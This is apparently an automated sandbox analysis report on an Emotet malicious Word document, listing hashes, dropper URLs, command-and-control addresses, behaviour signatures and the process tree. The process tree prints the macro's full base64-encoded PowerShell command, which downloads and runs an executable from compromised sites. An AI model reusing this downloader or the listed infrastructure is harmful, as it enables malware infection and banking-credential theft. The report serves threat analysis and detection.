emotet | c906f32c9a419c05b1e8c53bdf0ec3ebbdeebf5affa17b07a3544813ed78f7db

Analysis

max time kernel
150s
max time network
152s
platform
windows10_x64
resource
win10
submitted
18/09/2020, 13:38

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General

Target
emotet_e1_c906f32c9a419c05b1e8c53bdf0ec3ebbdeebf5affa17b07a3544813ed78f7db_2020-09-18__133658._doc.doc
Size 193KB
Sample200918-3gbcdd734x
SHA256 c906f32c9a419c05b1e8c53bdf0ec3ebbdeebf5affa17b07a3544813ed78f7db
MD5 9606fbaa2783c71a3ea9e7ea933756d9
SHA1 9eaa14502f8e36266a67d8d6fbade804d9ed2cf9
SHA512 4fdfc274d532f50667ae513fccfa3cf61bc240cda0238805d3042dc7d2195f1fdb18d0f856bf0542bf77cf8624b164d0e17425126c59414d21a9a1bb7424e8ac
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://zplusshopping.com/wp-content/plugins/8ek/
exe.dropper
https://www.cupgel.com/__MACOSX/3/
exe.dropper
http://freespiritmind.com/MASD/HowTo/css/J/
exe.dropper
http://crewnecksusa.com/wp-content/NJ/
exe.dropper
http://www.dougsuniverse.com/pics/yL8/
exe.dropper
https://idilsoft.com/admin/B/
exe.dropper
https://guhaasmart.com/wp-content/s/

Extracted

Family

emotet

91.105.94.200:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
189.2.177.210:443
181.30.61.163:443
185.178.10.77:80
199.203.62.165:80
177.73.0.98:443
87.106.46.107:8080
5.196.35.138:7080
5.189.178.202:8080
185.183.16.47:80
78.249.119.122:80
191.182.6.118:80
96.227.52.8:443
186.103.141.250:443
50.28.51.143:8080
111.67.12.221:8080
50.121.220.50:80
61.197.92.216:80
212.71.237.140:8080
82.76.111.249:443
110.142.219.51:80
92.24.50.153:80
190.24.243.186:80
51.255.165.160:8080
190.2.31.172:80
82.230.1.24:80
68.183.170.114:8080
192.241.146.84:8080
188.135.15.49:80
186.70.127.199:8090
72.47.248.48:7080
216.47.196.104:80
35.143.99.174:80
213.197.182.158:8080
220.109.145.69:80
172.104.169.32:8080
77.90.136.129:8080
170.81.48.2:80
185.94.252.27:443
138.97.60.141:7080
64.201.88.132:80
137.74.106.111:7080
51.159.23.217:443
178.250.54.208:8080
185.94.252.12:80
45.16.226.117:443
80.11.164.185:80
187.162.248.237:80
204.225.249.100:7080
96.245.123.149:80
70.32.115.157:8080
190.6.193.152:8080
185.215.227.107:443
177.74.228.34:80
190.115.18.139:8080
217.13.106.14:8080
12.162.84.2:8080
190.190.148.27:8080
104.131.41.185:8080
155.186.0.121:80
104.131.103.37:8080
114.158.45.53:80
152.169.22.67:80
67.247.242.247:80
98.13.75.196:80
74.136.144.133:80
74.58.215.226:80
190.163.31.26:80
192.241.143.52:8080
209.236.123.42:8080
174.113.69.136:80
68.69.155.181:80
77.238.212.227:80
77.106.157.34:8080
65.36.62.20:80
181.129.96.162:8080
217.199.160.224:7080
45.33.77.42:8080
94.176.234.118:443
111.67.77.202:8080
83.169.21.32:7080
45.46.37.97:80
60.93.23.51:80
68.183.190.199:8080
70.32.84.74:8080
95.9.180.128:80
219.92.13.25:80
61.92.159.208:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2044	628	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2556-14-0x0000000002170000-0x0000000002182000-memory.dmp	emotet
behavioral2/memory/2556-14-0x0000000002170000-0x0000000002182000-memory.dmp	emotet
behavioral2/memory/2556-15-0x0000000002190000-0x00000000021A0000-memory.dmp	emotet
behavioral2/memory/2556-15-0x0000000002190000-0x00000000021A0000-memory.dmp	emotet
behavioral2/memory/2672-18-0x0000000000540000-0x0000000000552000-memory.dmp	emotet
behavioral2/memory/2672-18-0x0000000000540000-0x0000000000552000-memory.dmp	emotet
behavioral2/memory/2672-19-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet
behavioral2/memory/2672-19-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
12	2044	powershell.exe
14	2044	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2556	F1rxg4v7.exe
2672	wups.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\input\wups.exe	F1rxg4v7.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
2672	wups.exe
2672	wups.exe
2672	wups.exe
2672	wups.exe
2672	wups.exe
2672	wups.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 2556	2044	powershell.exe	80
PID 2044 wrote to memory of 2556	2044	powershell.exe	80
PID 2044 wrote to memory of 2556	2044	powershell.exe	80
PID 2556 wrote to memory of 2672	2556	F1rxg4v7.exe	81
PID 2556 wrote to memory of 2672	2556	F1rxg4v7.exe	81
PID 2556 wrote to memory of 2672	2556	F1rxg4v7.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_c906f32c9a419c05b1e8c53bdf0ec3ebbdeebf5affa17b07a3544813ed78f7db_2020-09-18__133658._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3676

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -en JABHAHkAZwBwAG8AaAA1AD0AKAAnAE8AYQAnACsAJwBzACcAKwAoACcAaQAnACsAJwBzADMAcAAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAGUAUgBwAFIAbwBGAEkATABlAFwAVwBjADUAUwB1AHcAZABcAGkASgB6AGUAcgBsAEQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAHUAUgBJAGAAVABgAHkAYABwAGAAUgBvAHQAbwBgAGMAbwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACgAJwAsACAAJwArACcAdABsACcAKQArACgAJwBzACcAKwAnADEAMQAsACcAKQArACgAJwAgACcAKwAnAHQAbABzACcAKQApADsAJABBAGwAMQBvADQAcwAwACAAPQAgACgAKAAnAEYAMQAnACsAJwByAHgAJwApACsAKAAnAGcANAAnACsAJwB2ACcAKQArACcANwAnACkAOwAkAFkAMQBjAGgAaABwAHoAPQAoACgAJwBCACcAKwAnAGYAZgBsAHQAJwApACsAJwB2ACcAKwAnAHkAJwApADsAJABNAHgAcQBiAGwANwBsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZABWAFgAJwArACcAVwBjADUAJwApACsAJwBzACcAKwAnAHUAJwArACgAJwB3AGQAJwArACcAZAAnACkAKwAoACcAVgBYACcAKwAnAEkAJwApACsAKAAnAGoAJwArACcAegBlACcAKwAnAHIAbABkAGQAVgBYACcAKQApACAAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAQwBoAEEAUgBdADEAMAAwACsAWwBDAGgAQQBSAF0AOAA2ACsAWwBDAGgAQQBSAF0AOAA4ACkALABbAEMAaABBAFIAXQA5ADIAKQArACQAQQBsADEAbwA0AHMAMAArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAFgAOQB0AGQANgBfAHUAPQAoACcAQQAnACsAJwA4ADMAJwArACgAJwA1ACcAKwAnAHEAcgBxACcAKQApADsAJABRAHUAMwB5AGMANQBqAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMAbABJAEUATgB0ADsAJABWADcAOABzAHUAaABmAD0AKAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwB6ACcAKwAnAHAAJwArACcAbAB1ACcAKwAnAHMAJwArACcAcwAnACsAKAAnAGgAJwArACcAbwBwAHAAJwArACcAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAALQAnACkAKwAnAGMAJwArACcAbwBuACcAKwAnAHQAZQAnACsAJwBuAHQAJwArACgAJwAvAHAAJwArACcAbAAnACkAKwAoACcAdQBnAGkAJwArACcAbgAnACkAKwAnAHMALwAnACsAKAAnADgAZQBrACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwB3ACcAKQArACcAdwB3ACcAKwAnAC4AYwAnACsAKAAnAHUAcABnAGUAJwArACcAbAAuACcAKQArACgAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwAnACsAJwBfACcAKwAnAF8ATQBBAEMATwBTAFgAJwArACcALwAzACcAKwAnAC8AKgBoAHQAJwApACsAJwB0ACcAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAnAGYAcgAnACsAKAAnAGUAZQBzACcAKwAnAHAAJwApACsAJwBpACcAKwAoACcAcgBpAHQAbQBpAG4AZAAnACsAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAE0AQQBTAEQALwBIACcAKwAnAG8AdwAnACkAKwAoACcAVAAnACsAJwBvAC8AYwBzACcAKQArACcAcwAnACsAKAAnAC8ASgAvACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAOgAnACsAJwAvAC8AYwByACcAKQArACcAZQAnACsAKAAnAHcAJwArACcAbgBlACcAKQArACgAJwBjACcAKwAnAGsAcwAnACkAKwAoACcAdQAnACsAJwBzAGEAJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAdwBwACcAKQArACgAJwAtAGMAbwAnACsAJwBuAHQAJwApACsAJwBlAG4AJwArACgAJwB0AC8ATgBKACcAKwAnAC8AKgAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAnAC8ALwB3ACcAKwAnAHcAdwAuACcAKwAnAGQAbwAnACkAKwAnAHUAZwAnACsAJwBzAHUAJwArACgAJwBuAGkAJwArACcAdgBlACcAKQArACcAcgBzACcAKwAnAGUALgAnACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBwAGkAJwArACcAYwBzACcAKwAnAC8AeQAnACsAKAAnAEwAOAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAcwA6AC8ALwBpAGQAaQBsACcAKwAnAHMAJwArACcAbwAnACkAKwAoACcAZgB0AC4AJwArACcAYwAnACkAKwAnAG8AJwArACgAJwBtAC8AYQBkAG0AaQAnACsAJwBuAC8AQgAvACcAKwAnACoAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwBnAHUAJwArACcAaABhAGEAJwArACcAcwAnACkAKwAnAG0AJwArACcAYQAnACsAJwByACcAKwAoACcAdAAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAnAC0AYwAnACsAJwBvAG4AJwArACcAdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAnACsAJwAvACcAKwAnAHMALwAnACkALgAiAFMAcABsAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASAA3AHEAcgAyADIAbgA9ACgAJwBVAGEAJwArACgAJwBxACcAKwAnAHcAagBuAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABFAGYAeQBuADEAXwBrACAAaQBuACAAJABWADcAOABzAHUAaABmACkAewB0AHIAeQB7ACQAUQB1ADMAeQBjADUAagAuACIAZABgAE8AVwBuAGAATABvAEEAZABmAGkAbABlACIAKAAkAEUAZgB5AG4AMQBfAGsALAAgACQATQB4AHEAYgBsADcAbAApADsAJABWAG8AawA3AGIANAB6AD0AKAAoACcARQBpACcAKwAnAGgAawAnACkAKwAoACcAeAAnACsAJwA3ADMAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQB4AHEAYgBsADcAbAApAC4AIgBsAGAAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwAxADcAMQA2ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE0AeABxAGIAbAA3AGwAKQA7ACQAQgBhAHgAZgBnAHMAZgA9ACgAJwBZAGsAJwArACcANQAnACsAKAAnAHUAJwArACcAOQB2AHgAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAYQBiAGgAdQBjAHMAPQAoACgAJwBNACcAKwAnAGwAdAAnACkAKwAoACcAdQAnACsAJwBjADAAOQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwA5AGgAbQBiAF8AeAA9ACgAKAAnAEQAbAAnACsAJwBkACcAKQArACgAJwBzADYAbwAnACsAJwBoACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Users\Admin\Wc5suwd\Ijzerld\F1rxg4v7.exe
  "C:\Users\Admin\Wc5suwd\Ijzerld\F1rxg4v7.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2556
- - C:\Windows\SysWOW64\input\wups.exe
    "C:\Windows\SysWOW64\input\wups.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2672

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2044-8-0x00007FFAB8AC0000-0x00007FFAB94AC000-memory.dmp

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memory/2044-10-0x000002235B630000-0x000002235B631000-memory.dmp

Download

memory/2044-9-0x000002235B370000-0x000002235B371000-memory.dmp

Download

memory/2556-15-0x0000000002190000-0x00000000021A0000-memory.dmp

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memory/2556-14-0x0000000002170000-0x0000000002182000-memory.dmp

Download

memory/2672-19-0x00000000005A0000-0x00000000005B0000-memory.dmp

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memory/2672-18-0x0000000000540000-0x0000000000552000-memory.dmp

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memory/3676-4-0x00000206CEC0A000-0x00000206CEC1B000-memory.dmp

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memory/3676-2-0x00000206CEC0A000-0x00000206CEC1B000-memory.dmp

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memory/3676-3-0x00000206CEC07000-0x00000206CEC0A000-memory.dmp

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memory/3676-0-0x00007FFAC5C80000-0x00007FFAC6346000-memory.dmp

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memory/3676-7-0x00000206CEDA7000-0x00000206CEDB0000-memory.dmp

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memory/3676-1-0x00000206CEC0A000-0x00000206CEC1B000-memory.dmp

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memory/3676-5-0x00000206CC532000-0x00000206CC540000-memory.dmp

Download

memory/3676-6-0x00000206CEDA7000-0x00000206CEDB0000-memory.dmp

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